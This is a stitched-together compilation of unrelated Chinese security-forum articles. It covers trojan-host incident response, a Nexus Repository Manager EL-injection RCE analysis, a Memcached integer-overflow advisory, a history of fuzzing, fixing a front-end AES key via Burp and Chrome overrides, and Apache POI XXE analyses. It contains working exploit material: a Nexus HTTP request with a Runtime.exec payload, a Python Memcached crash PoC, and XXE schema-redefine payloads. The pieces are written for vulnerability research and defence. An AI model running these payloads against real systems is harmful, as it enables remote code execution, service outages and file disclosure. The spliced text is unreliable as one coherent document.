经过交流后我们决定采用两种方式对中毒主机的IP进行定位。
1.导出IDS设备的回显日志，定位中毒主机位置
2.在单位中的DNS服务器抓取数据包
2.1 导出IDS设备的回显日志，定位中毒主机位置
因为中毒主机向外发送数据一定会经过DNS服务器，流程如下：
中毒主机向外发送请求 ---> DNS服务器 ---> 域名所在服务器
中毒主机向外发送请求 <--- DNS服务器 <--- 域名所在服务器
这里遇到的麻烦就是IDS设备捕获的数据包日志过大时查询功能很慢，由于f33**88.3322.org这个域名一直没有解析成功，通过IDS设备只能根据回显数据包才可以查询到通讯成功的内网主机IP。
所以我们借助了ThreatBook、VirusTotal这两个网站。首先查询ThreatBook上关于这个域名的网络。
图3 ThreatBook 查询动态域名
然后查询这两条HASH值对应的网络活动，查看是否有其他的上线域名。
图4 ThreatBook 网络活动
取出【b35878a825daceeb2de5602fb6268da80c32a908ec646bcf035b0bce792b7747】
、【4dc695732112e2552f6bc67a38aefa406ac7201de6994a48f134c96301dbf8ef】这两条hash值在virustotal.com这个网站上查询得到另外一个通讯的域名。【ilo.br*nz.pl】
图5 ilo.br*nz.pl
这一次的难点在于
ilo.br*nz.pl这个域名的确是与内网主机成功进行过通讯，可是在取样后进行分析时却发现取出来的病毒跟我们预计的行为不符合，说明我们误打误撞又发现了新的病毒。
于是我们就又回到f33**88.3322.org这个域名无法被正常解析的问题上。
通过思考然后我们又决定借助内网的上网行为管理、流量控制、IPS等设备进行捕获。增加一条TCP访问策略监控访问f33**88.3322.org这个域名任意端口的内网主机IP。而管理上网行为管理的运维人员此时告诉我们如果域名解析不到IP是无法增加策略的。
最后通过在出口DNS服务器上增加解析策略，将f3322**.3322.org木马动态域名解析到我们公司官网的IP，解决了这个上网行为管理设备增加策略的问题。在后续的分析中找到中毒的主机。
2.2 在单位中的DNS服务器抓取数据包
考虑过可以使用Wireshark、TCPdump这两类抓包工具在DNS服务器上进行数据包的捕获，但是全单位的上网访问都是通过这台DNS服务器的情况下。抓包数据有可能很庞大不利于查看就没有采取这样的方式。
四、个人总结
重心点：在这次的事件中感受到应急响应中，很多情况都是WEB方面的日志查询。但对于内网中了木马病毒，我们需要做的工作会始终重点围绕着定位、取样、分析。
全局观：而应急响应工作也非常需要建立全局观。了解网络拓扑并结合业务，知道出了问题的主机中存在什么应用。这个应用涉及多少台主机，采用何种方式进行管理（域控或是工作组）是否为主机群。中毒主机属于哪块网络区域。
影响度：判断业务受损状态，检查应用是否存在安全隐患,网络区域内的主机是否被横向入侵或是被种植了远程控制。网络影响程度。 | 社区文章 |
#### 漏洞介绍
官方通告:`https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31`
影响版本： 所有以前的Nexus Repository Manager 3.x OSS / Pro最高版本包括3.21.1
修复版本：Nexus Repository Manager OSS / Pro 3.21.2版
#### 环境搭建
使用`https://hub.docker.com/r/sonatype/nexus3/tags`,pull下漏洞版本的docker
`docker pull sonatype/nexus3:3.21.1`
然后切成root用户进入容器修改启动项`/opt/sonatype/nexus/bin/nexus`
run)
$INSTALL4J_JAVA_PREFIX exec "$app_java_home/bin/java" -Xdebug -server -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8888 -Dinstall4j.jvmDir="$app_java_home" -Dexe4j.moduleName="$prg_dir/$progname" "-XX:+UnlockDiagnosticVMOptions" "-Dinstall4j.launcherId=245" "-Dinstall4j.swt=false" "$vmov_1" "$vmov_2" "$vmov_3" "$vmov_4" "$vmov_5" $INSTALL4J_ADD_VM_PARAMS -classpath "$local_classpath" com.install4j.runtime.launcher.UnixLauncher run 9d17dc87 0 0 org.sonatype.nexus.karaf.NexusMain
然后在`https://github.com/sonatype/nexus-public`下载源码,导入idea,然后配好远程配置连上去即可调试。
#### 漏洞分析
我们先来diff一下3.21.0和3.21.2的区别,找一下官方修复的痕迹
可以看到有很明显的漏洞修复痕迹,EL表达式注入的限制被绕过了,其实我们看到测试文件
@Test
public void testStripJavaEl_bugged_interpolator() {
String test = "$\\A{badstuffinhere}";
String result = underTest.stripJavaEl(test);
assertThat(result, is("{badstuffinhere}"));
}
也可以直接知道绕过方法,这里我直接给我rce的poc
$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('touch /tmp/sssss')}
为什么增加了`\A`还不影响表达式的解析呢,这个我后面说,先构造出完整poc
那么我们找一下哪些接口会使用
可以看到总过有三处,以第一处Roles为例,
可以找到有多处注解使用的地方,比如说新建用户/更新用户,构造Poc如下
POST /service/extdirect HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Nexus-UI: true
NX-ANTI-CSRF-TOKEN: 0.029301195082771514
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 350
Connection: close
Referer: http://127.0.0.1:8081/
Cookie: NX-ANTI-CSRF-TOKEN=0.029301195082771514; NXSESSIONID=7eaf0643-2707-445a-b17d-aedced6db8e5
{"action":"coreui_User","method":"create","data":[{"userId":"3","version":"","firstName":"test","lastName":"test","email":"[email protected]","status":"active","roles":["$\\X{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('touch /tmp/rce')}"],"password":"admin"}],"type":"rpc","tid":33}
以及其他几处注解使用的地方
还有一个问题为什么增加`\A`不会影响表达式的解析呢?
在`/org/hibernate/validator/hibernate-validator/6.1.0.Final/hibernate-validator-6.1.0.Final.jar!/org/hibernate/validator/messageinterpolation/AbstractMessageInterpolator.class`对传入的字符串进行了两次处理,
原本的字符串为`Missing roles:
[$\B{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('touch
/tmp/rce')}]`
然后第一次处理后的结果
第二次处理后的结果
最后解析的还是`${xxxx}`这样子。
我在3.21.1版本测试`$\\\B{}`这样也是可以执行的,但是增加替换规则只是限制了`A`啊,那这样不就还是可以绕过嘛?
然后我启了一个`3.21.2`版本的docker,测试发现并不行,很困惑,这里我跟一下原因。
在我跟到`/org/hibernate/validator/messageinterpolation/AbstractMessageInterpolator.class`发现大致调用堆栈是差不多的
但是再往下就有区别的,3.21.0版本调用了`/org/hibernate/validator/messageinterpolation/ResourceBundleMessageInterpolator.class@InterpolationTerm`,而3.21.2版本调用的是`/org/hibernate/validator/messageinterpolation/ParameterMessageInterpolator.class@InterpolationTerm`,但是最开始的区别并不是这里,这两个类都是继承了AbstractMessageInterpolator,然后重写的`public
String interpolate(Context context, Locale locale, String term)`方法不同,
`ParameterMessageInterpolator.class@InterpolationTerm`会进行表达式的检测
public String interpolate(Context context, Locale locale, String term) {
if (InterpolationTerm.isElExpression(term)) {
LOG.warnElIsUnsupported(term);
return term;
} else {
ParameterTermResolver parameterTermResolver = new ParameterTermResolver();
return parameterTermResolver.interpolate(context, term);
}
}
如果表达式以`$`开头,会直接打印warning,然后返回表达式字符串。
但是这里是hibernate包中的,我们需要去找到源头,也就是nexus开发者是怎么去修复的呢?
在一阵搜索中,我在`nexus-public-release-3.22.0-02/components/nexus-validation/src/main/java/org/sonatype/nexus/validation/ValidationModule.java`找到了
通过搜索资料了解到Hibernate
Validator提供了ParameterMessageInterpolator来处理消息,并且不解析使用`$`的表达式,也就是说即使绕过了replace的地方,也不会作为表达式进行解析,而是直接返回了。 | 社区文章 |
# 【漏洞预警】Memcached修复多处高危漏洞可导致代码执行、拒绝服务（14:45更新）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**背景介绍**
* * *
Memcached是一个自由开源的，高性能，分布式内存对象缓存系统。
Memcached是以LiveJournal旗下Danga Interactive公司的Brad
Fitzpatric为首开发的一款软件。现在已成为mixi、hatena、Facebook、Vox、LiveJournal等众多服务中提高Web应用扩展性的重要因素。
Memcached是一种基于内存的key-value存储，用来存储小块的任意数据（字符串、对象）。这些数据可以是数据库调用、API调用或者是页面渲染的结果。
本质上，它是一个简洁的key-value存储系统。
一般的使用目的是，通过缓存数据库查询结果，减少数据库访问次数，以提高动态Web应用的速度、提高可扩展性。
**
**
**漏洞描述**
2016年10月31日 **Memcached发布安全补丁修复多个远程代码执行漏洞**
，利用该漏洞黑客可以窃取在Memcached中存放的业务数据，或导致Memcached服务崩溃从而造成拒绝服务等危害，
**安全客提醒用户应当及时升级官方版本至1.4.33版本。**
Memcached存在多个整数溢出漏洞，可导致远程代码执行。
这些漏洞存在于用于插入（inserting）、附加（appending,）、前置（prepending）、修改键值对的函数中，在SASL身份验证位置也存在问题。
**攻击者可以通过向服务器发送一个精心构造的Memcached命令实现该漏洞的利用。此外，这些漏洞还可以泄露敏感的进程信息，并且可以多次触发，利用这些敏感的进程信息，攻击者可以绕过像ASLR等常见的漏洞缓解机制。**
由于可以绕过这些通用的漏洞缓解机制，使得这些漏洞的危害尤为严重。
虽然Memcached文档中已经强烈建议将Memcached服务配置在可信任的网络环境中，但是仍有大量的Memcached服务可以在公网中直接访问。
此外，
**即使Memcached部署在内网中，企业的安全管理人员仍然不能忽视此次更新的安全问题，黑客可能通过内网渗透、SSRF漏洞等，直接对部署在内网的服务发起攻击。**
**漏洞编号**
CVE-2016-8704 – Memcached Append/Prepend 远程代码执行漏洞
CVE-2016-8705 – Memcached Update 远程代码执行漏洞
CVE-2016-8706 – Memcached SASL身份验证远程代码执行漏洞
**漏洞利用代码（POC）：（下面代码可导致业务崩溃、拒绝服务，请勿轻易尝试）**
import struct
import socket
import sys
MEMCACHED_REQUEST_MAGIC = "x80"
OPCODE_PREPEND_Q = "x1a"
key_len = struct.pack("!H",0xfa)
extra_len = "x00"
data_type = "x00"
vbucket = "x00x00"
body_len = struct.pack("!I",0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
body = "A"*1024
if len(sys.argv) != 3:
print "./poc_crash.py <server> <port>"
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body
set_packet = "set testkey 0 60 4rntestrn"
get_packet = "get testkeyrn"
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((sys.argv[1],int(sys.argv[2])))
s1.sendall(set_packet)
print s1.recv(1024)
s1.close()
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1],int(sys.argv[2])))
s2.sendall(packet)
print s2.recv(1024)
s2.close()
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((sys.argv[1],int(sys.argv[2])))
s3.sendall(get_packet)
s3.recv(1024)
s3.close()
**
**
**测试效果：**
**国内影响统计：（以下数据来自fofa.so）**
**
**
**漏洞细节**
技术细节、分析
<http://www.talosintelligence.com/reports/TALOS-2016-0219/>
<http://www.talosintelligence.com/reports/TALOS-2016-0220/>
<http://www.talosintelligence.com/reports/TALOS-2016-0221/>
**解决办法**
1.升级官方最新版本：1.4.33版本 <http://www.memcached.org/files/memcached-1.4.33.tar.gz>
2.限制Memcached 11211端口访问权限（如：禁止外网访问、仅限特定端口访问）
**参考链接**
<https://github.com/memcached/memcached/wiki/ReleaseNotes1433>
[http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html](http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html)
[http://www.talosintelligence.com/reports/TALOS-2016-0219/](http://www.talosintelligence.com/reports/TALOS-2016-0219/)
[http://www.talosintelligence.com/reports/TALOS-2016-0220/](http://www.talosintelligence.com/reports/TALOS-2016-0220/)
<http://www.talosintelligence.com/reports/TALOS-2016-0221/>
[](http://www.talosintelligence.com/reports/TALOS-2016-0221/) | 社区文章 |
# Fuzzing(模糊测试)的前世今生（上）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
之前我们在《Fuzzing（模糊测试）技术，你真的了解吗？》一文中提及了模糊测试概念的兴起，描述比较简单。其实，很多人对于模糊测试的概念一直是比较“模糊”的，并不是特别了解它的前世今生。而且，很多人会把它跟漏洞扫描、渗透测试等技术混为一谈，并不清楚它们的区别与边界。这对炙手可热的模糊测试而言，甚是“冤屈”。
目前，市面上关于模糊测试的知识点大多是碎片化的，并不系统。小云希望通过上、下两篇内容为大家简述一下模糊测试的前世今生，帮助大家更好地了解它。
## 1.模糊测试的由来
1983年，Steve Capps开发了经典的Mac OS应用程序“The
Monkey”，这个软件被史蒂夫用来创建随机的鼠标点击和键盘输入，以测试MacWrite和MacPaint应用程序，它就像一只看不见的猴子在不规律地使用计算机，因此得名“猴子测试”。在软件测试中，猴子测试是一种技术，用户通过提供随机输入和检查行为来测试应用程序或系统，或者查看应用程序或系统是否会崩溃。“猴子测试”通常被实现为随机的、自动化的单元测试，也是模糊测试技术的前身。
图1 猴子测试
直至1988年，模糊测试的概念被威斯康星大学的Barton Miller正式提出。最开始，Barton
Miller的实验内容是开发一个基本的命令列模糊器以测试Unix程式。这个模糊器可以用随机数据来「轰炸」这些测试程式直至其崩溃，从而对应用程序进行安全检测。在当时，这一简单的测试方法便已发现运行于
UNIX 系统上的 25%以上的程序崩溃，展现出了无与伦比的测试优越性。也就是从那时起，模糊测试慢慢进入大家的视野。
如今，Fuzzing已发展成为信息安全的一个重要组成部分，在产学研领域都得到了广泛关注。截止目前，国内外已经有众多安全厂商发布了软件和硬件的模糊测试产品。例如，提供白盒产品的代表如SAGE（微软），DeepState，Mayhem等；黑盒代表如PeachFuzzer，无垠协议模糊测试系统（云起无垠）等；灰盒代表如AFL（很多Fuzzing工具的基石），LibFuzzer，Honggfuzz，OSS-Fuzz & ClusterFuzz (Google)，Angora，无垠代码模糊测试系统（云起无垠）等。
## 2.模糊测试的含义
在讲模糊测试概念之前，我们先简单概述一下大家经常混淆概念的漏洞扫描和渗透测试。它们定义如下：
漏洞扫描是指基于已知漏洞数据库（如已知缺陷、编码错误、数据包构造异常等），通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测，发现可利用漏洞的一种安全检测行为。通常情况下，漏洞扫描包括网络漏描、主机漏扫、数据库漏扫等不同种类。
渗透测试是一项在计算机系统上进行的授权模拟攻击，旨在对其安全性进行评估，是为了证明网络防御按照预期计划正常运行而提供的一种机制。换句话说，渗透测试是指渗透人员通过模拟黑客的攻击方法，在不同的位置（如内网、外网等位置）利用各种手段对某个特定网络进行测试，从而发现和挖掘系统中存在的漏洞，然后输出渗透测试报告，提交给网络所有者。网络所有者根据渗透人员提供的渗透测试报告，可以清晰知晓系统中存在的安全隐患和问题。
与之不同的是，模糊测试是一种介于完全的手工渗透测试与完全的自动化测试之间的安全性测试，它将无效、格式错误或随机的数据注入系统，同时监控输入可能导致的应用程序崩溃或异常情况，从而对应用系统的安全性和健壮性进行测试。
图2 模糊测试流程
在某些具体的维度上，它们其实有诸多不同之处，如下图所示：
图3 不同测试技术对比
对比之下，我们可以发现：
1. 渗透测试的特点：
1）渗透测试是由渗透人员通过模拟黑客攻击方法进行的渗透攻击，这种基于人工的方式比较考验渗透人员的能力，它不像漏洞扫描或者模糊测试，借助于安全工具进行安全检测，很难大规模复制；而且，检测结果因渗透人员能力不同，结果也有区分；
2）基于人工的渗透测试需要人工介入较多，非常耗时，且成本昂贵；但是分析会更深入，更彻底；
3）可以有效防止误报；
4）人是安全的基础，渗透测试的漏洞利用中，会存在由于人的因素窃取数据等安全威胁问题；
2. 漏洞扫描的特点:
1）基于已知漏洞库进行安全检测，缺少未知威胁如0day漏洞的检测能力；
2）误报率较高，需要人工排查，使用成本较高；
3）漏洞扫描仅用于安全性测试，对漏洞是否被利用无法感知；
3. 模糊测试特点：
1）依托工具进行安全检测，自动化程度高，且误报率低，使用成本低；
2）基于无规则海量数据输入，可以检测0day漏洞等未知威胁；
3）试用阶段覆盖软件研发全生命周期，既可以在早期的研发测试阶段使用，也可以应用于部署运维阶段；
4）对被测软件或者程序支持安全性和健壮性检测；
## 3.模糊测试的发展历程
前面我们讲了模糊测试的由来，明确了它的起始。接下来我们为大家简析一下它的发展进程。
图4 模糊测试发展历程
1988年模糊测试概念被提及以后，一直持续到2004年，这期间主要是以黑盒模糊测试为主，解决了应用程序完全不可见的情况下，对内部安全威胁进行安全检测的问题。比如物联网设备固件中的代码或者通信协议规范未公开或者网络协议中的协议规范或实现代码不可用时，黑盒模糊测试技术便可以针对此类场景进行安全检测。
2001年，PROTOS将模糊测试思想应用到网络协议分析，成为可用的实际工具。在2002年后期获得广泛公开，当时该项目发布了一个令人惊讶的、关于在多种不同的SNMPv1实现中的漏洞列表。PROTOS的开发者对SNMPv1协议进行了解析，并且列举了针对请求和捕获包的所有可能的变换。然后，他们开发了一个实际的事务集合并引入了异常元素的概念，他们将该术语定义为“在实现软件时可能不会被认为是一个正确的输入”。在某些情况下，这些异常元素违反了协议标准，而在其他情形中，他们与协议规范是一致的但是却包含可以破环解析器的内容。PROTOS
SNMPv1测试套件的执行结果中保存了非常重要的信息它们识别出了大量的漏洞（Sutton M et al,2009).
2004年，Peach对文件进行模糊测试，采用自定义数据模型的方式生成输入。此外，Peach可以由用户手工定义用于生成输入数据的数据模型，是基于语法生成输入思想的早期应用。其广泛用于发现软件中的漏洞和缺陷，它有两种主要模式，基于生长的模糊测试和基于变异的模糊测试。Peach共有三个版本，目前的Peach3是一个基于.NET框架的跨平台fuzzing工具，是当前较为流行的模糊测试工具之一。
2007年，受益于动态符号执行和测试数据生成技术的进步，诞生了Sage模糊测试方法，该方法是使用符号执行的白盒模糊测试方法。通过使用符号执行技术，在程序运行过程中收集条件语句对输入的约束，通过用约束求解器进行求解产生新的输入。2008年Godefroid等人利用模糊工具SAGE发现了大型windows应用系统中的二十多个未知漏洞，他们展示了一个基于语法的白盒与黑盒结合的模糊测试方法，该方法可以利用符号执行直接产生基于语法的约束，并且输入能够到达很深的深度，也避免了死路。
2009年，出现了Vganesh。通过使用污点分析技术替代了开销巨大的符号执行技术。污点分析技术可以将程序攻击点中使用到的变量值，同输入数据特定部分建立联系，进而指导模糊测试的变异策略，该思想被灰盒模糊测试借鉴使用。
2013年，AFL诞生。AFL是一款以覆盖率为导向的模糊测试工具，通过插装的方法，采用输入数据对应的边覆盖率，作为模糊测试种子选取的衡量指标。AFL通过使用进化算法以及精心构造的变异策略，获得了很好的模糊测试结果，发现了大量漏洞，备受关注。
2013-2020年，虽然AFL有一定的效果，但是其设计上仍有缺陷，比如其能量分配的策略以及种子选择的策略，都会影响AFL的检测效率，而且，AFL更偏向于黑盒一些，对程序内部分析有限，这也限制了其检测深层漏洞的能力。所以通过对程序内部情况进一步分析，获得更好的检测效果是AFL改进的一个方向，此时大量改进工作便开始了。
自2004年以来，模糊测试根据对应用程序分析的程度，划分了黑盒、白盒和灰盒模糊测试，三种模糊测试技术延续至今。而且，该技术成为漏洞检测的重要技术，正在重新定义开发安全新范式，改写开发安全的新历史。云起无垠作为新一代智能模糊测试技术领跑者，基于黑盒和灰盒各自研发了自己的模糊测试系统，针对协议、代码等不同应用程序进行安全及健壮性安全检测，帮助客户解决包含未知威胁的各种漏洞。
模糊测试的技术原理及算法、实践应用等将在下一篇为大家解析，敬请期待！ | 社区文章 |
本文章是[某项目前端js解密 ](https://xz.aliyun.com/t/10853 "某项目前端js解密 ")后续。
一、前言
前文写到，报文密文如何解密。但是我们在测试过程当中，发现生产密文的秘钥是随机生成的。所以下面会讲述如何固定秘钥。
首先，我要看下如何生成秘钥的。
前文我们知道，加密是使用AES，CBC模式加密，偏移量“1234567812345678”，16位。
从代码看到，最终秘钥t的值。所以我们想要固定秘钥，只需要修改js文件，在秘钥生成后，重新给它赋值一个固定的值。
如下图
然后在让浏览器加载修改后的js文件，这样就可以实现固定的秘钥。解密也比较容易。
我讲一下我常用的三种固定秘钥的方法。
**第一种，通过chrome浏览器调试工具，替换加载的js。**
源代码-替换，添加替换文件夹。
打开前面网页，找到对应的js，有单机，保存并覆盖。然后在返回替换，就可以看到我们替换的js了。同时我们修改js，固定秘钥。
下面是关键的一步，需要重新硬性加载网站使替换生效。方法如下：
输入信息抓包：
抓包后用我们的固定秘钥解密，成功。
**第二种，我们已经知道了修变量t，就可以固定秘钥。**
所以，我们用burpsuite抓js的responses报文，直接在返回包里面修改。
修改完会缓存在本地。
bp设置，【proxy】-【Options】-Intercept Sever Responses选项打勾
取消浏览器的调试的js替换功能。
在清空缓存硬性加载一下，抓js返回包，并修改js，固定t的值，我们这次把t值固定为【8888999988889999】16位。
输入手机号抓包
抓包后通过我们固定的秘钥进行解密，成功。
**第三种，通过浏览器插件的方式，插件名【ReRes】，Chrome浏览器上的。**
替换加载的js文件。操作比较简单，不细说。但macOS上有问题，实现不起来，win系统上可以。如果有谁知道啥原因，可以告诉我。 | 社区文章 |
## 0x01 概述
**apache poi** 这个组件实际上在 **java** 应用中蛮常见的，这个组件主要用在 **word** 文档或者 **excel**
文件导入的业务场景下使用。众所周知，这些文档实际上也是一个类似压缩包一类的存在，所以今天就看看这个东西。
## 0x02 漏洞分析
### CVE-2014-3529
> apache poi 在3.10.1之前存在XXE漏洞
#### 漏洞场景搭建
测试代码
import org.apache.poi.EncryptedDocumentException;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;
import java.io.FileInputStream;
import java.io.IOException;
public class CVE20143529 {
public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException {
Workbook wb1 = WorkbookFactory.create(new FileInputStream("test.xlsx"));
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getLastRowNum());
}
}
//pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.apache.poi</groupId>
<artifactId>xxe</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi-ooxml</artifactId>
<version>3.10-FINAL</version>
</dependency>
</dependencies>
</project>
#### 漏洞复现
修改 **excel** 文件中的 **[Content_Types].xml** 、 **/xl/workbook.xml** 、
**/xl/worksheets/shee1.xml** 中均可添加 **xxepayload** 触发漏洞，我选择在
**[Content_Types].xml** 文件中添加。
#### 漏洞分析
选择在`WorkbookFactory.create`处下一个断点，一步步跟入，来到了 **OPCPackage** 这个类中。
public static OPCPackage open(InputStream in) throws InvalidFormatException, IOException {
OPCPackage pack = new ZipPackage(in, PackageAccess.READ_WRITE);
if (pack.partList == null) {
pack.getParts();
}
return pack;
}
在这个累里，首先new了一个 **ZipPackage** 类来解析输入，跟进来很明显是个处理 **zip** 这类型压缩包的东西。
ZipPackage(InputStream in, PackageAccess access) throws IOException {
super(access);
this.zipArchive = new ZipInputStreamZipEntrySource(new ZipInputStream(in));
}
继续往下走，看到了一个if里面调用了`pack.getParts();`方法，跟进 **getParts** 。
public ArrayList<PackagePart> getParts() throws InvalidFormatException {
this.throwExceptionIfWriteOnly();
if (this.partList == null) {
boolean hasCorePropertiesPart = false;
boolean needCorePropertiesPart = true;
PackagePart[] parts = this.getPartsImpl();
这里不知道漏洞触发点在哪，自然就一步步跟了，首先看到了一个`this.getPartsImpl()`，跟进这个方法，在这个方法里面看到了一个很眼熟的东西，我们刚刚是在
**[Content_Types].xml** 文件中添加的payload，这里出现了这个文件。
继续跟进 **ZipContentTypeManager** 这个类，跟进之后才发现，它调用的是它的父类 **ContentTypeManager**
来进行处理。
public ZipContentTypeManager(InputStream in, OPCPackage pkg) throws InvalidFormatException {
super(in, pkg);
}
跟进 **ContentTypeManager** ,下图中 **parseContentTypesFile** 处理了我们的输入。
跟进 **parseContentTypesFile** 终于找到了XXE的触发点。
贴一个调用栈
parseContentTypesFile:377, ContentTypeManager (org.apache.poi.openxml4j.opc.internal)
<init>:105, ContentTypeManager (org.apache.poi.openxml4j.opc.internal)
<init>:56, ZipContentTypeManager (org.apache.poi.openxml4j.opc.internal)
getPartsImpl:188, ZipPackage (org.apache.poi.openxml4j.opc)
getParts:665, OPCPackage (org.apache.poi.openxml4j.opc)
open:274, OPCPackage (org.apache.poi.openxml4j.opc)
create:79, WorkbookFactory (org.apache.poi.ss.usermodel)
main:12, CVE20143529
#### 漏洞修复
可以看到修复方式将 **xmlReader.read(in)** 变成了 **SAXHelper.readSAXDocument(in)**
private void parseContentTypesFile(InputStream in) throws InvalidFormatException {
try {
Document xmlContentTypetDoc = SAXHelper.readSAXDocument(in);
然后在 **org.apache.poi.util.SAXHelper** 中做了一些 **xxe** 的限制。
### CVE-2019-12415
> In Apache POI up to 4.1.0, when using the tool XSSFExportToXml to convert
> user-provided Microsoft Excel documents, a specially crafted document can
> allow an attacker to read files from the local filesystem or from internal
> network resources via XML External Entity (XXE) Processing.
#### 漏洞场景搭建
测试代码：
import org.apache.poi.EncryptedDocumentException;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.xssf.extractor.XSSFExportToXml;
import org.apache.poi.xssf.usermodel.XSSFMap;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
import org.xml.sax.SAXException;
import javax.xml.transform.TransformerException;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class PoiXxe {
public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException, TransformerException, SAXException {
XSSFWorkbook wb = new XSSFWorkbook(new FileInputStream(new File("/Users/l1nk3r/Desktop/CustomXMLMappings.xlsx")));
for (XSSFMap map : wb.getCustomXMLMappings()) {
XSSFExportToXml exporter = new XSSFExportToXml(map); // 使用 XSSFExportToXml 将 xlsx 转成 xml
exporter.exportToXML(System.out, true);//第一个参数是输出流无所谓，第二个参数要为 true
}
}
}
//pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.apache.poi</groupId>
<artifactId>xxe</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi-ooxml</artifactId>
<version>4.1.0</version>
</dependency>
</dependencies>
</project>
#### 漏洞复现
下载这个[excel文件](https://github.com/apache/poi/raw/f509d1deae86866ed531f10f2eba7db17e098473/test-data/spreadsheet/CustomXMLMappings.xlsx)，在 `CustomXMLMappings/xl/xmlMaps.xml`
文件中增加下面这个代码
<xsd:redefine schemaLocation="http://127.0.0.1:8080/"></xsd:redefine>
#### 漏洞分析
调用栈太繁琐了，只列几个关键点，程序进行到 **XSDHandler#constructTrees** 这个方法的时候，抓出来我们poc中的外带地址。
下一步在 **XSDHandler#resolveSchema** 中，把外带地址交给了 **getSchemaDocument** 处理。
最后代码继续往下走，在 **XMLEntityManager#setupCurrentEntity**
找到了http的请求发起，所以想知道一个XXE漏洞的调用栈，绝大多数情况下，你可以选择在JDK自身的
**XMLEntityManager#setupCurrentEntity** 中HTTP请求下个断点，然后利用OOB方式利用，很多找到触发过程的调用栈。
setupCurrentEntity:619, XMLEntityManager (com.sun.org.apache.xerces.internal.impl)
determineDocVersion:189, XMLVersionDetector (com.sun.org.apache.xerces.internal.impl)
parse:582, SchemaParsingConfig (com.sun.org.apache.xerces.internal.impl.xs.opti)
parse:685, SchemaParsingConfig (com.sun.org.apache.xerces.internal.impl.xs.opti)
parse:530, SchemaDOMParser (com.sun.org.apache.xerces.internal.impl.xs.opti)
getSchemaDocument:2175, XSDHandler (com.sun.org.apache.xerces.internal.impl.xs.traversers)
resolveSchema:2096, XSDHandler (com.sun.org.apache.xerces.internal.impl.xs.traversers)
constructTrees:1100, XSDHandler (com.sun.org.apache.xerces.internal.impl.xs.traversers)
parseSchema:620, XSDHandler (com.sun.org.apache.xerces.internal.impl.xs.traversers)
loadSchema:617, XMLSchemaLoader (com.sun.org.apache.xerces.internal.impl.xs)
loadGrammar:575, XMLSchemaLoader (com.sun.org.apache.xerces.internal.impl.xs)
loadGrammar:541, XMLSchemaLoader (com.sun.org.apache.xerces.internal.impl.xs)
newSchema:255, XMLSchemaFactory (com.sun.org.apache.xerces.internal.jaxp.validation)
newSchema:638, SchemaFactory (javax.xml.validation)
isValid:249, XSSFExportToXml (org.apache.poi.xssf.extractor)
exportToXML:211, XSSFExportToXml (org.apache.poi.xssf.extractor)
exportToXML:105, XSSFExportToXml (org.apache.poi.xssf.extractor)
main:20, PoiXxe
#### 漏洞修复
修复的方式增加了一行。
trySetFeature(factory, "http://javax.xml.XMLConstants/feature/secure-processing", true);
然后问题关键点就来到了 **SecuritySupport#checkAccess** ，可以看到未修复代码 **allowedProtocols**
是all，而 **acessAny** 也是all，所以 **checkAccess** 结果返回的是null。
已修复代码中的 **SecuritySupport#checkAccess** 方法，可以看到未修复代码 **allowedProtocols**
是""，而 **acessAny** 也是all，所以 **checkAccess** 结果返回的是 **http** 。
回到 **XSDHandler#getSchemaDocument** 中，由于不允许http方式外带数据，因此我们的错误信息自然会出现下图报错里面的部分。
最后在简单bb一下，这个洞没啥用，外带也没办法利用FTP client换行那个洞外带数据，所以是个弟中弟的洞。
## Rerfence
